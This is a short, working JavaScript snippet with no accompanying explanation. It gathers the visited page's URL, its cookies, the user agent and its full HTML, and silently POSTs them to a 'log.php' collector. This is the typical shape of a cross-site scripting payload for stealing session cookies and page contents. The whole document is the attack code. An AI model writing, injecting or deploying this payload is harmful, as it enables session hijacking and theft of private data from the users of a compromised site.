(function() {
    const data = {
        url: window.location.href,
        cookie: document.cookie,
        userAgent: navigator.userAgent,
        html: document.documentElement.outerHTML,
        timestamp: new Date().toISOString()
    };

    fetch('log.php', {
        method: 'POST',
        headers: {
            'Content-Type': 'application/json'
        },
        body: JSON.stringify(data)
    }).catch(err => console.error('发送失败:', err));
})();